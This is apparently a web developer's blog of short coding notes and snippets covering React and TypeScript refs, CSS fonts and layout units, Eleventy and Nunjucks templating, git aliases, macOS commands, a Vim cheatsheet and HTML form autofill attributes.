import { ComponentPropsWithoutRef, forwardRef } from 'react'
import { clsx } from 'clsx'
import './Button.css'

interface ButtonProps extends ComponentPropsWithoutRef<'button'> {
  isLoading?: boolean
}

export const Button = forwardRef<HTMLButtonElement, ButtonProps>(
  ({ className, children, isLoading, ...rest }, forwardedRef) => {
    const buttonClass = clsx(className, 'button', {
      'button--loading': isLoading,
    })

    return (
      <button className={buttonClass} {...rest} ref={forwardedRef}>
        {children}
      </button>
    )
  }
)

React TypeScript docs: https://react-typescript-cheatsheet.netlify.app/docs/basic/getting-started/forward_and_create_ref/

Fixed forwardRef

import React, { forwardRef } from 'react'
// Declare a type that works with generic components
type FixedForwardRef = <T, P = {}>(
  render: (props: P, ref: React.Ref<T>) => React.ReactElement
) => (props: P & React.RefAttributes<T>) => React.ReactElement

// Cast the old `forwardRef` to the new one
export const fixedForwardRef = forwardRef as FixedForwardRef

useRef

Zander Martineau — Fri, 15 Sep 2023 00:00:00 GMT

Docs: https://react.dev/reference/react/useRef

TypeScript

When using useRef, you have two options when creating a ref container that does not have an initial value:

const ref1 = useRef<HTMLElement>(null)

// Or, if you are sure that ref2.current will never be `null`, it is also possible to use the non-null assertion operator !
const ref2 = useRef<HTMLElement>(null!)

The first option will make ref1.current read-only, and is intended to be passed in to built-in ref attributes that React will manage (because React handles setting the current value for you).

The second option will make ref2.current mutable, and is intended for "instance variables" that you manage yourself.

Example

function Foo() {
  // - If possible, prefer as specific as possible. For example, HTMLDivElement
  //   is better than HTMLElement and way better than Element.
  // - Technical-wise, this returns RefObject<HTMLDivElement>
  const divRef = useRef<HTMLDivElement>(null)

  useEffect(() => {
    // Note that ref.current may be null. This is expected, because you may
    // conditionally render the ref-ed element, or you may forgot to assign it
    if (!divRef.current) throw Error('divRef is not assigned')

    // Now divRef.current is sure to be HTMLDivElement
    doSomethingWith(divRef.current)
  })

  // Give the ref to an element so React can manage it for you
  return <div ref={divRef}>etc</div>
}

Strongly Type useRef with `ElementRef`

import { useRef, ElementRef } from 'react'

const Component = () => {
  const audioRef = useRef<ElementRef<'audio'>>(null)

  return <audio ref={audioRef}>Hello</audio>
}

import { OtherComponent } from './other-component'
import React, { useRef, ElementRef } from 'react'

// Pass it in via typeof!
type OtherComponentRef = ElementRef<typeof OtherComponent>

const Component = () => {
  const ref = useRef<OtherComponentRef>(null)

  return <OtherComponent ref={ref}>Hello</OtherComponent>
}

More info

@font-face

Zander Martineau — Fri, 04 Aug 2023 00:00:00 GMT

Modern browsers

@font-face {
  font-family: 'MyWebFont';
  src: url('myfont.woff2') format('woff2');
  font-display: 'swap';
}

Using variable fonts with @font-face

If you’ve used variable fonts on the web before you’re probably familiar with this syntax, using the string "woff2-variations" in the format() function:

@font-face {
  font-family: 'source sans';
  src: url('SourceSansVariable.woff2') format('woff2-variations');
  font-display: 'swap';
}

That syntax has now been deprecated (but does still work). The new syntax looks like this:

@font-face {
  font-family: 'source sans';
  src: url('SourceSansVariable.woff2') format(woff2) tech(variations);
  font-display: 'swap';
}

More info here.

Variable font example using Mona Sans:

@font-face {
  font-family: 'Mona Sans';
  src: url('/fonts/Mona-Sans.woff2') format('woff2 supports variations'), url('/fonts/Mona-Sans.woff2')
      format('woff2-variations');
  font-weight: 200 900;
  font-stretch: 75% 125%;
  font-feature-settings: 'calt' 1, 'liga' 1, 'rlig' 1, 'rvrn' 1, 'kern' 1, 'rclt'
      1;
}

Every browser

/* prettier-ignore */
@font-face {
  font-family: 'MyWebFont';
  src: url('webfont.eot'); /* IE9 Compat Modes */
  src: url('webfont.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */
       url('webfont.woff2') format('woff2'), /* Super Modern Browsers */
       url('webfont.woff') format('woff'), /* Pretty Modern Browsers */
       url('webfont.ttf') format('truetype'), /* Safari, Android, iOS */
       url('webfont.svg#svgFontName') format('svg'); /* Legacy iOS */
  font-display: 'swap';
}

font-weight

Zander Martineau — Thu, 20 Jul 2023 00:00:00 GMT

Font weights

/* Keyword values */
font-weight: normal;
font-weight: bold;

/* Keyword values relative to the parent */
font-weight: lighter;
font-weight: bolder;

/* Numeric keyword values */
font-weight: 100;
font-weight: 200;
font-weight: 300;
font-weight: 400; /* normal */
font-weight: 500;
font-weight: 600;
font-weight: 700; /* bold */
font-weight: 800;
font-weight: 900;

/* Global values */
font-weight: inherit;
font-weight: initial;
font-weight: revert;
font-weight: revert-layer;
font-weight: unset;

Common weight name mapping

Value	Common weight name
100	Thin (Hairline)
200	Extra Light (Ultra Light)
300	Light
400	Normal (Regular)
500	Medium
600	Semi Bold (Demi Bold)
700	Bold
800	Extra Bold (Ultra Bold)
900	Black (Heavy)
950	Extra Black (Ultra Black)

Meaning of relative weights

When lighter or bolder is specified, the below chart shows how the absolute font weight of the element is determined.

Inherited value	bolder	lighter
100	400	100
200	400	100
300	400	100
400	700	100
500	700	100
600	900	400
700	900	400
800	900	700
900	900	700

Variable font weights

font-variation-settings: 'wght' 900, 'wdth' 75, 'ital' 0;

More info

CSS font-stacks

Zander Martineau — Thu, 22 Jun 2023 00:00:00 GMT

Basic system font stacks

Sans-serif

-apple-system, BlinkMacSystemFont, avenir next, avenir, segoe ui,
  helvetica neue, helvetica, Cantarell, Ubuntu, roboto, noto, arial, sans-serif;

Serif

Iowan Old Style, Apple Garamond, Baskerville, Times New Roman, Droid
    Serif, Times, Source Serif Pro, serif, Apple Color Emoji, Segoe UI Emoji, Segoe
    UI Symbol;

Mono

Menlo, Consolas, Monaco, Liberation Mono, Lucida Console, monospace;

Eleventy

Zander Martineau — Thu, 22 Jun 2023 00:00:00 GMT

Eleventy config

Add a filter

eleventyConfig.addFilter('readableDate', (dateObj) => {
  return DateTime.fromJSDate(dateObj, { zone: 'utc' }).toFormat('dd LLL, yyyy')
})

Usage:

{{ page.date | readableDate }}

Nunjucks

Zander Martineau — Thu, 22 Jun 2023 00:00:00 GMT

Built-in filters: https://mozilla.github.io/nunjucks/templating.html#builtin-filters

Debugging

There are two useful ways to debug data in Nunjucks templates.

`dump` filter

Prints the data to the page

{{ data | dump }}

`log` filter

Logs the data to your terminal

{{ data | log }}

They can be used together:

{{ data | dump | log }}

Active class on links

<a
  class="{{ 'active' if '/' === page.url }}"
  href="{{ '/' | url }}"
>
  Home
</a>

<!-- or to set an active link for all items in a subdirectory -->

{{ 'active' if '/blog' in page.url }}

More examples: https://bryanlrobinson.com/blog/using-nunjucks-if-expressions-to-create-an-active-navigation-state-in-11ty/

Text selection

Zander Martineau — Fri, 09 Jun 2023 00:00:00 GMT

const selection = window.getSelection()
const selectedText = selection.toString()

Svelte

Zander Martineau — Mon, 05 Jun 2023 00:00:00 GMT

How to extend prop types from HTML elements

For everyone who wants to create a wrapper component around a certain HTML element and wants a way to type "this component accepts all properties of X", here's how you do it as of Svelte version 3.55:

<script lang="ts">
  import type { HTMLButtonAttributes } from 'svelte/elements'
  interface $$Props extends HTMLButtonAttributes {
    error: boolean // your own additional typings
  }

  export let error: boolean
  // ...
</script>

<!-- ... -->
<button>
  <slot />
</button>

Link

Adding classes conditionally

<!-- Button.svelte -->
<script>
  export let primary = false
  export let secondary = false
</script>

<button
  class:c-btn--primary="{primary}"
  class:c-btn--secondary="{secondary}"
  class="c-btn"
>
  <slot></slot>
</button>

<Button secondary="{true}">Click me</Button>

AI prompts

Zander Martineau — Wed, 17 May 2023 00:00:00 GMT

I use these prompts to generate code with Raycast's Ask AI feature. I have setup the following commands:

Vitest tests for given code

System: As a software developer, I am currently working on a project using Vitest, TypeScript, and React Testing Library. I would like you to help me generate unit tests for the given code. Analyze the given code and provide a multiple unit tests to test all the various logic flows of the given code, with the necessary imports, wrapped in a describe block, without any additional explanations or comments, unless absolutely necessary. Ensure all 3rd party code imports are included as well, including `import { describe, expect, it } from 'vitest';` and assume that the function being tested resides in the same directory as the test file. If I say "next," please give me another test for the same code. In case I submit new code, please discard the previous code and start generating tests for the new one. Prioritize testing the code logic in different scenarios as the first priority in testing. If I provide specific instructions or ask you to test a particular part or scenario, please follow those instructions and generate the unit test accordingly. Do not include the given code in your response. Format the response as TypeScript code. Do not respond until the given code is provided.

User:

JSDOC comments

System: As a software developer I would like you to help me generate a JSDOC comment to document the given code. Include a `@name`, `@description`, `@param`, `@returns`, and `@example` for the given code, without any additional explanations or comments, unless absolutely necessary. Do not include the given code in your response. Format the response as TypeScript code. Do not respond until the given code is provided.

User:

Storybook stories for React components

System: As a software developer I would like you to help me generate some Storybook.js stories to document the given code. Include a various examples that show how the props might affect rendering, without any additional explanations or comments, unless absolutely necessary. Do not include the given code in your response. Format the response as TypeScript code. Do not respond until the given code is provided. Please format the output as follows (`ComponentName` is an example name for the component, please use the component's real name from the given code):

```tsx
import type { Meta, StoryObj } from '@storybook/react'

import { ComponentName } from './ComponentName'

const meta: Meta<typeof ComponentName> = {
  title: 'Components/ComponentName',
  component: ComponentName,
}

export default meta
type Story = StoryObj<typeof ComponentName>

export const Basic: Story = {
  args: {
    prop1: 'Something',
    prop2: true,
  },
}
```

Write playwright tests

System: As a software developer, I am currently working on a project using Playwright, TypeScript, and Testing Library. I would like you to help me generate/scaffold playwright tests for the given scenario. Ensure all 3rd party code imports are included as well, including `import { test, expect } from "@playwright/test";`. Only output the test code, nothing else.

User:

- Visit: https://zander.wtf
- Click the "Blog" link in the navigation
- Check that the page title is "Blog | Zander Martineau"

npm package versions

Zander Martineau — Tue, 16 May 2023 00:00:00 GMT

Update all packages interactively

Using npm-check:

npm-check -u
# or (if it doesn't detect the package manager correctly)
NPM_CHECK_INSTALLER=npm npm-check -u

Idiot-proof Git Rebasing

Zander Martineau — Tue, 14 Feb 2023 00:00:00 GMT

By adding these aliases to your git config, you will be able to simplify rebasing.

[alias]
  # *********************
  # Rebase workflow
    mainbranch = "!git remote show origin | sed -n '/HEAD branch/s/.*: //p'"
    sync = "!git pull origin $(git mainbranch) --rebase"
    update = "!git pull origin $(git rev-parse --abbrev-ref HEAD) --rebase"
    squash = "!git rebase -v -i $(git mainbranch)"
    publish = push origin HEAD --force-with-lease
    pub = publish

Sync your branch with `main`

The sync command will get your local branch up to date with your main branch (main or master) at origin (ie Github).

git sync

Publish your branch’s changes to the world

The publish (abbrev pub) command publishes your changes to your remote branch. If other changes have been posted by another user to the remote, then changes will be rejected. You should update first to incorporate their changes and resolve any conflicts.

git publish
git pub

Update your branch with Github’s copy of your branch

If your local branch gets out of date with origin’s version of your branch, then do an update. This would happen if you’re collaborating on the branch with a colleague and need to get up to date.

git update

Squash commits

Prior to merging, you likely want to shrink your branch’s many noisy commits to one or two meaningful ones. That’s what squash command does, giving you a chance to rewrite the branch’s history.

git squash

CSS logical properties and values

Zander Martineau — Sun, 12 Feb 2023 00:00:00 GMT

If you’re creating a website in multiple languages, logical properties and values are incredibly useful. Even if you’re not, there are still some convenient new shorthands it’s worth knowing about.

Physical properties

We're used to working with physical properties like margin-right, top, or border-left.

ul {
  display: flex;
  list-style: none;
  padding: 0.5rem 0;
}

li {
  background-color: #6befef;
  margin-right: 2rem;
}

Logical properties

Sizing

Physical property	Logical property
width	inline-size
max-width	max-inline-size
min-width	min-inline-size
height	block-size
max-height	max-block-size
min-height	min-block-size

Borders

Physical property	Logical property
border-top	border-block-start
border-bottom	border-block-end
border-left	border-inline-start
border-right	border-inline-end

Shorthands

Physical property	Logical property
padding-top and padding-bottom	padding-block
padding-left and padding-right	padding-inline

Margin

Physical property	Logical property
margin-top	margin-block-start
margin-bottom	margin-block-end
margin-left	margin-inline-start
margin-right	margin-inline-end

Shorthands

Physical property	Logical property
margin-top and margin-bottom	margin-block
margin-left and margin-right	margin-inline

Padding

Physical property	Logical property
padding-top	padding-block-start
padding-bottom	padding-block-end
padding-left	padding-inline-start
padding-right	padding-inline-end

Shorthands

Physical property	Logical property
padding-top and padding-bottom	padding-block
padding-left and padding-right	padding-inline

Positioning

Physical property	Logical property
top	inset-block-start
bottom	inset-block-end
left	inset-inline-start
right	inset-inline-end
top and	bottom inset-block
left and	right inset-inline

Border radius

Physical property	Logical property
border-top-left-radius	border-start-start-radius
border-top-right-radius	border-start-end-radius
border-bottom-left-radius	border-end-start-radius
border-bottom-right-radius	border-end-end-radius

Logical values

Floats

Physical value	Logical value
float: left	float: inline-start
float: right	float: inline-end
clear: left	clear: inline-start
clear: right	clear: inline-end

Text alignment

Physical value	Writing mode	Logical value
text-align: left	LTR	text-align: start
text-align: right	RTL	text-align: start
text-align: left	RTL	text-align: end
text-align: right	LTR	text-align: end

vh, svh, lvh, and dvh

Zander Martineau — Sat, 11 Feb 2023 00:00:00 GMT

Using the viewport unit vh in desktop browsers is usually straight-forward, 100vh matches the height of the viewport. On mobile that's different because the viewport height changes depending on whether or not certain user interface elements are visible, 100vh doesn't always match the height of the viewport.

The problem with 100vh on mobile is that it doesn’t respect whether user interface elements are expanded or not. It usually always matches the large viewport. CSS introduces new viewport units to address that issue.

`dvh`

dvh is a dynamic value that matches the viewport height dynamically. Use this if you want to match the height of the viewport regardless of whether or not user interface elements are expanded or not.

div {
  height: 100dvh;
}

You can also use svh for the small viewport and lvh for the large viewport.

div {
  height: 100svh;
}

div {
  height: 100lvh;
}

Hyphens and dashes

Zander Martineau — Thu, 09 Feb 2023 00:00:00 GMT

character	name	windows	mac os	html
-	hyphen	-	-	`-`
–	en dash	alt 0150	option + hyphen	`–`
—	em dash	alt 0151	option + shift + hyphen	`—`

Hyphens

The hyphen (-) is the smallest of these marks. It has three uses.

A hyphen appears at the end of a line when a word breaks onto the next line. These hyphens are added and removed automatically by your word processor’s hyphenation feature.
Some multipart words are spelled with a hyphen (topsy-turvy, cost-effective, bric-a-brac). But a prefix is not typically followed with a hyphen (nonprofit, not non-profit).
A hyphen is used in phrasal adjectives (commercial-speech restriction, estate-planning attorney, law-school grades) to ensure clarity. Nonprofessional writers often omit these hyphens. As a professional writer, you should not. For instance, consider the unhyphenated phrase five dollar bills. Is five the quantity of dollar bills, or are the bills each worth five dollars? As written, it suggests the former. If you mean the latter, then you’d write five-dollar bills.

Dashes

Dashes come in two sizes—the en dash and the em dash. The em dash (—) is typically about as wide as a capital H. The en dash (–) is about half as wide.

En dash

The en dash has two uses.

It indicates a range of values (1880–1912, 116 Cal. App. 4th 330–39, Exhibits A–E). If you open with from, pair it with to instead of an en dash (from 1880 to 1912, not from 1880–1912).
It denotes a connection or contrast between pairs of words (conservative–liberal split, Arizona–Nevada reciprocity, Sarbanes–Oxley Act).

Em dash

The em dash is used to make a break between parts of a sentence. Use it when a comma is too weak, but a colon, semicolon, or pair of parentheses is too strong. The em dash puts a nice pause in the text—and it is underused in professional writing.

:focus-visible

Zander Martineau — Wed, 01 Feb 2023 00:00:00 GMT

:focus-visible allows you to get rid of the annoying focus outline on mouse clicks, while letting you specify the focus styling only for keyboard users (as well as other "tabbing" devices like joysticks)

button:focus-visible {
  outline: 2px solid rebeccapurple;
}
@supports not selector(:focus-visible) {
  button:focus {
    outline: 2px solid rebeccapurple;
  }
}

button {
  &:focus-visible {
    outline: 2px solid rebeccapurple;
  }
  @supports not selector(:focus-visible) {
    &:focus {
      outline: 2px solid rebeccapurple;
    }
  }
}

{
  '&:focus-visible' {
    outline: '2px solid rebeccapurple';
  },
  '@supports not selector(:focus-visible)' {
    '&:focus' {
      outline: '2px solid rebeccapurple';
    }
  }
}

Fluid typography

Zander Martineau — Wed, 01 Feb 2023 00:00:00 GMT

html {
  font-size: 16px;
}
@media screen and (min-width: 320px) {
  html {
    font-size: calc(16px + 6 * ((100vw - 320px) / 680));
  }
}

@media screen and (min-width: 1000px) {
  html {
    font-size: 22px;
  }
}

Calculate your own: https://websemantics.uk/tools/responsive-font-calculator/

Or use this if you only need to support Safari (11.1+) and Chrome (79+)

html {
  font-size: min(max(16px, 4vw), 22px);
}

Or even this if you only support Chrome (79+)

body {
  font-size: clamp(16px, 4vw, 22px);
}

Source: https://css-tricks.com/simplified-fluid-typography/

Utopia

Here's an example from Utopia.fyi for fluid typography

/* @link https://utopia.fyi/type/calculator?c=320,17,1.2,1240,20,1.25,10,3,&s=0.75|0.5|0.25,1.5|2|3|4|6,s-l&g=s,l,xl,12 */
:root {
  --step--3: clamp(0.62rem, calc(0.61rem + 0.04vw), 0.64rem);
  --step--2: clamp(0.74rem, calc(0.72rem + 0.11vw), 0.8rem);
  --step--1: clamp(0.89rem, calc(0.85rem + 0.2vw), 1rem);
  --step-0: clamp(1.06rem, calc(1rem + 0.33vw), 1.25rem);
  --step-1: clamp(1.28rem, calc(1.18rem + 0.5vw), 1.56rem);
  --step-2: clamp(1.53rem, calc(1.38rem + 0.74vw), 1.95rem);
  --step-3: clamp(1.84rem, calc(1.63rem + 1.05vw), 2.44rem);
  --step-4: clamp(2.2rem, calc(1.91rem + 1.48vw), 3.05rem);
  --step-5: clamp(2.64rem, calc(2.24rem + 2.04vw), 3.82rem);
  --step-6: clamp(3.17rem, calc(2.62rem + 2.78vw), 4.77rem);
  --step-7: clamp(3.81rem, calc(3.06rem + 3.75vw), 5.96rem);
  --step-8: clamp(4.57rem, calc(3.57rem + 5.01vw), 7.45rem);
  --step-9: clamp(5.48rem, calc(4.15rem + 6.66vw), 9.31rem);
  --step-10: clamp(6.58rem, calc(4.82rem + 8.8vw), 11.64rem);
}

Fastest Google Fonts

Zander Martineau — Wed, 01 Feb 2023 00:00:00 GMT

<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />

<link
  rel="preload"
  as="style"
  href="https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,400;0,700;1,400;1,700&display=swap"
/>

<link
  rel="stylesheet"
  href="https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,400;0,700;1,400;1,700&display=swap"
  media="print"
  onload="this.media='all'"
/>

VS Code Snippets

Zander Martineau — Wed, 01 Feb 2023 00:00:00 GMT

These snippets make use of the EasySnippet extension.

typescriptreact

A simple component scaffold

// @prefix component-react
// @description Basic React component scaffold

import { ReactNode, ComponentPropsWithoutRef } from 'react'
import { clsx } from 'clsx'
import '$2.styles.css'

interface $2Props extends  ComponentPropsWithoutRef<'$1'> {
  children?: ReactNode
}

export const ${2:Button} = ({ className, children, ...rest }: $2Props) => {
  const ${2/(.*)/${1:/downcase}/}Class = clsx(className, '${2/(.*)/${1:/downcase}/}')

  return (
    <${1:div} className={${2/(.*)/${1:/downcase}/}Class} {...rest}>
      {children}$0
    </$1>
  )
}

Conditional rendering using a ternary operator

// @prefix better JSX Conditional
// @description {x ? ( ... ) : null}

{
  $1 ? $0 : null
}

More info

useState hook

// @prefix useState
// @description useState hook

const [$1, set${1/(.*)/${1:/capitalize}/}}] = useState<$2>($0)

Debugger

Creates a <pre> tag with the JSON stringified version of the variable.

// @prefix pre
// @description React debugger

<pre>{JSON.stringify(someData, null, 2)}</pre>

Coding standards

Zander Martineau — Mon, 23 Jan 2023 00:00:00 GMT

Naming Conventions

The objective of this document is to help when naming things and make the codebase consistent and easier to read.

Name Rules

🥳 Names should be always be Descriptive & Succinct. 🎉

😑 Names should not be Obscure or Abbreviated ❌

File Names

Name	Convention	Example
Index file	`index.(ts/js)`	`index.ts`
React component	`ComponentName.(tsx/ts/js/jsx)`	`Button.tsx`
Test file	`ComponentName.test.(tsx/ts/js/jsx)`	`Button.test.tsx`
TypeScript types	`File.models.ts`	`Button.models.ts`
Styles (CSS-in-JS)	`ComponentName.styles.(ts/js)`	`Button.styles.ts`
Storybook	`ComponentName.stories.(tsx/ts/js/jsx/mdx)`	`Button.stories.tsx`

HTML

Name	Convention	Example
Data Attributes	`kebab-case`	`data-testid="button-element"`
path	`kebab-case`	`www.fairfx.com/this/is-a-path/`

TypeScript

Name	Convention	Example
interface	`PascalCase`	`interface DescriptiveInterfaceName`
variables	`camelCase`	`const descriptiveVariableName`
function	`camelCase`	`descriptiveFunctionName(){ ... }`
class	`PascalCase`	`class DescriptiveClassName { ... }`
type	`PascalCase`	`type DescriptiveTypeName`
enums	`PascalCase`	`enum DescriptiveEnumName { CONSTANT_A, CONSTANT_B, CONSTANT_C }`
constant	`CONSTANT_CASE`	`DESCRIPTIVE_CONSTANT_NAME`

React

Name	Convention	Example
Component Props Interface	`PascalCaseProps`	`ComponentNameProps`
Component State Interface	`PascalCaseState`	`ComponentNameState`
Component Copy Interface	`PascalCaseCopy`	`ComponentNameCopy`

Function Component

import React, { FunctionComponent } from 'react'

const DescriptiveComponentName: FunctionComponent<IDescriptiveComponentNameProps> = (
  props
) => {
  return ()
}

Class Component

import React, { Component } from 'react'

class DescriptiveComponentName<
  IDescriptiveComponentNameProps,
  IDescriptiveComponentNameState
> extends Component {
  render () {
    return ()
  }
}

Code Structure

The objective of this document is to help when structuring your code, to make the codebase more consistent, reusable and easy to read.

This is a guide on how to structure your code.

Linting and code styling 💅

❗️Code to be formatted using prettier
‼️ All code should follow the TypeScript standard and always make use of types

React

Composability

Components should ideally be composable, this makes them more flexible and reusable.

General rules about writing new components 🚦

A standard practice is to avoid having too much functionality in one page with gigantic renders. Each file should have 1 set of functionality. Everything else should be broken into a new component and be included as a child.

Generic

Imports

Avoid * imports, it's best to explicitly define what you want to export.

Types

Avoid a type of any it is normally not allowed.

Spread Syntax

Use nested spread syntax when appropriate. Code should be readable, don't use nested spread syntax if it becomes hard to read.

Preferable Example ✅

class MyComponent extends Component {
  public render() {
    const {
      myProp,
      nestedProps: { myNestedProp },
    } = this.props
  }
}

Also Good ✅

class MyComponent extends Component {
  public render() {
    const { myProp, nestedProps } = this.props
    const { myNestedProp } = nestedProps
  }
}

Ok, if it's only referenced once ✅

class MyComponent extends Component {
  public render() {
    return this.props.nestedProps.myNestedProp.myMoreNestedProp
  }
}

File Structure rules 🚨👮

Description ℹ️

These rules must be followed by all team members in order to have a consistent and well structured codebase.

Pages

/src/client/pages
    /PageName
        index.ts
        PageName.tsx
        PageName.test.tsx
        PageName.schema.json
    /OtherPageName
        OtherPageName.tsx

Components should by default be placed in /components directory.

Components should be grouped into folders logically. If they are only used once and they are used within another component, they should be colocated with their parent component.

Example:

components/
├─ ComponentName/
│  ├─ __tests__/
│  │  ├─ ComponentNameView.spec.tsx
│  │  ├─ ComponentNameContainer.spec.tsx
│  ├─ ComponentName.operations.middleware.gql // Graphql queries
│  ├─ ComponentName.messages.ts // i18n content
│  ├─ ComponentName.models.ts // TS types
│  ├─ ComponentNameView.tsx // "dumb" React component
│  ├─ ComponentNameView.stories.tsx // Storybook stories
│  ├─ ComponentNameContainer.tsx // "smart" React component. fetches data etc
│  ├─ index.ts
│  ├─ README.md

👩🏻‍🏫 Storybook

Components should be built and tested with a ComponentName.stories.tsx and have a README.md file included.

👩🏻‍🔬 Test

Where possible ComponentName.test.tsx other files like utils will need a UtilName.test.ts.

💁🏻‍♀️ Styled Component

Separate styles from the main code, styles should live in ComponentName.styles.ts.

👷🏻‍♀️ Models

Separate interfaces and types from the main code, models should live in ComponentName.models.ts

JS body class

Zander Martineau — Sat, 21 Jan 2023 00:00:00 GMT

Add to `<body>`

window.document.body.classList.add('some-class')
window.document.body.classList.replace('no-js', 'js')

Add to `<html>`

window.document.documentElement.classList.replace('no-js', 'js')

Disable dark mode for specific Mac apps

Zander Martineau — Sat, 21 Jan 2023 00:00:00 GMT

First, get the bundle identifier for the app that you want to turn off dark mode.

osascript -e 'id of app "{app name}"'

# e.g.
osascript -e 'id of app "Dash"' # com.kapeli.dashdoc
osascript -e 'id of app "Chrome"' # com.google.Chrome

Then run

defaults write {package.name} NSRequiresAquaSystemAppearance -bool Yes

# e.g.
defaults write com.kapeli.dashdoc NSRequiresAquaSystemAppearance -bool Yes
defaults write com.google.Chrome NSRequiresAquaSystemAppearance -bool Yes

If you wish to restore the app’s theme to its default configuration then run the below command. Doing so will re-enable the dark mode for the particular app.

defaults write {package.name} NSRequiresAquaSystemAppearance -bool no

# e.g.
defaults write com.kapeli.dashdoc NSRequiresAquaSystemAppearance -bool no
defaults write com.google.Chrome NSRequiresAquaSystemAppearance -bool no

# or
defaults delete com.google.Chrome NSRequiresAquaSystemAppearance

Alternatively, use the Nightowl app to have this control in an easier way

Make a directory if none exists

Zander Martineau — Sat, 21 Jan 2023 00:00:00 GMT

var mkdirp = require('mkdirp')

mkdirp('/tmp/some/path/foo', (err) => {
  // path exists unless there was an error
})

Mix blend mode

Zander Martineau — Sat, 21 Jan 2023 00:00:00 GMT

.invert-everything-behind {
  mix-blend-mode: exclusion;
}

/* Keyword values */
mix-blend-mode: normal;
mix-blend-mode: multiply;
mix-blend-mode: screen;
mix-blend-mode: overlay;
mix-blend-mode: darken;
mix-blend-mode: lighten;
mix-blend-mode: color-dodge;
mix-blend-mode: color-burn;
mix-blend-mode: hard-light;
mix-blend-mode: soft-light;
mix-blend-mode: difference;
mix-blend-mode: exclusion;
mix-blend-mode: hue;
mix-blend-mode: saturation;
mix-blend-mode: color;
mix-blend-mode: luminosity;

/* Global values */
mix-blend-mode: inherit;
mix-blend-mode: initial;
mix-blend-mode: revert;
mix-blend-mode: revert-layer;
mix-blend-mode: unset;

RenderIfRole

Zander Martineau — Sat, 21 Jan 2023 00:00:00 GMT

This component is used to conditionally show content based on a user's role.

import { ReactNode } from 'react'
import { useUserContext } from '../../providers'

export enum Roles {
  none = 'none',
  admin = 'admin',
  superadmin = 'superadmin',
  user = 'user',
  readonly = 'readonly',
}

export interface RenderIfRoleProps {
  roles: Roles[]
  children: ReactNode
}

export const RenderIfRole = ({
  roles,
  children,
}: RenderIfRoleProps): ReactNode | null => {
  const { role } = useUserContext() // get user's current role, could also be passed as a prop
  const providedRolesMatchUserRole = role && roles.includes(Roles[role])

  if (providedRolesMatchUserRole) {
    return children
  }
  return null
}

Usage

This link will only be shown if the current user's role matches Roles.admin

<RenderIfRole roles={[Roles.admin]}>
  <Link to={INVITE_PAGE_PATH}>Invite</Link>
</RenderIfRole>

Multiple roles can be passed in to the roles prop, like so:

<RenderIfRole roles={[Roles.client, Roles.trainee]}>Some content</RenderIfRole>

useToggle React Hook

Zander Martineau — Sat, 21 Jan 2023 00:00:00 GMT

import { Dispatch, DispatchWithoutAction } from 'react'
import { useCallback, useState } from 'react'

/**
 * @name useToggle
 * @description Toggle something
 */
export const useToggle = (
  initialState = false
): [boolean, DispatchWithoutAction, Dispatch<boolean>] => {
  // Initialize the state
  const [state, setToggleState] = useState(initialState)

  // Define and memoize toggler function in case we pass down the comopnent,
  // This function change the boolean value to it's opposite value
  const toggle = useCallback(() => setToggleState((state) => !state), [])

  return [state, toggle, setToggleState]
}

Usage

const [isToggled, toggle, setToggleState] = useToggle()

setToggleState(true)
setToggleState(false)
toggle()

if (isToggled) {
  // do something
}

VIM cheatsheet

Zander Martineau — Sat, 21 Jan 2023 00:00:00 GMT

Cheatsheets

Substitute or Find/Replace

To find each occurrence of ‘pick’ in the current line only, and replace it with ‘s’, enter (first press Esc key and type):

:%s/pick/s/g

To find and replace all occurrences of ‘pick’ with ‘s’, enter:

:%s/pick/s/g

To find and replace all occurrences of ‘pick’ with ‘s’, but ask for confirmation first, enter:

:%s/pick/s/gc

To find and replace all occurrences of case insensitive ‘eth1’ with ‘br1’, enter:

:%s/eth1/br1/gi

The above example will find eth1, ETH1, eTh1, ETh1 and so on and replace with br1. To find and replace all occurrences of ‘eth1’ with ‘br1’ for lines from 3 to 7, enter:

:3,7s/eth1/br1/g

Form autofill attributes

Zander Martineau — Fri, 20 Jan 2023 00:00:00 GMT

Spec: https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill

All tokens

name
honorific-prefix
given-name
additional-name
family-name
honorific-suffix
nickname
username
new-password
current-password
one-time-code
organization-title
organization
street-address
address-line1
address-line2
address-line3
address-level4
address-level3
address-level2
address-level1
country
country-name
postal-code
cc-name
cc-given-name
cc-additional-name
cc-family-name
cc-number
cc-exp
cc-exp-month
cc-exp-year
cc-csc
cc-type
transaction-currency
transaction-amount
language
bday
bday-day
bday-month
bday-year
sex
url
photo

There's also a very handy table here if you scroll down a bit describing each token in detail.

Examples

Name

<label for="frmNameA">Name</label>
<input
  name="name"
  id="frmNameA"
  placeholder="Full name"
  required
  autocomplete="name"
/>

Email

<label for="frmEmailA">Email</label>
<input
  type="email"
  name="email"
  id="frmEmailA"
  placeholder="name@example.com"
  required
  autocomplete="email"
/>

<label for="frmEmailC">Confirm Email</label>
<input
  type="email"
  name="emailC"
  id="frmEmailC"
  placeholder="name@example.com"
  required
  autocomplete="email"
/>

Address

<label for="frmAddressS">Address</label>
<input
  name="ship-address"
  required
  id="frmAddressS"
  placeholder="123 Any Street"
  autocomplete="shipping street-address"
/>

<label for="frmCityS">City</label>
<input
  name="ship-city"
  required
  id="frmCityS"
  placeholder="New York"
  autocomplete="shipping locality"
/>

<label for="frmStateS">State</label>
<input
  name="ship-state"
  required
  id="frmStateS"
  placeholder="NY"
  autocomplete="shipping region"
/>

<label for="frmZipS">Zip</label>
<input
  name="ship-zip"
  required
  id="frmZipS"
  placeholder="10011"
  autocomplete="shipping postal-code"
/>

<label for="frmCountryS">Country</label>
<input
  name="ship-country"
  required
  id="frmCountryS"
  placeholder="USA"
  autocomplete="shipping country"
/>

Shipping and billing

<textarea
  name="shipping-address"
  autocomplete="shipping street-address"
></textarea>
<input
  type="text"
  name="shipping-city"
  autocomplete="shipping address-level2"
/>
<input
  type="text"
  name="shipping-state"
  autocomplete="shipping address-level1"
/>
<input
  type="text"
  name="shipping-country"
  autocomplete="shipping country-name"
/>
<input
  type="text"
  name="shipping-postal-code"
  autocomplete="shipping postal-code"
/>

Telephones, email and instant messaging

<input type="tel" name="home-phone" autocomplete="home tel" />
<input type="tel" name="work-phone" autocomplete="work tel" />
<input type="email" name="home-email" autocomplete="home email" />
<input type="url" name="chat" autocomplete="home impp" />

In addition to the tel field which would be a single input containing a full telephone number, there are also:

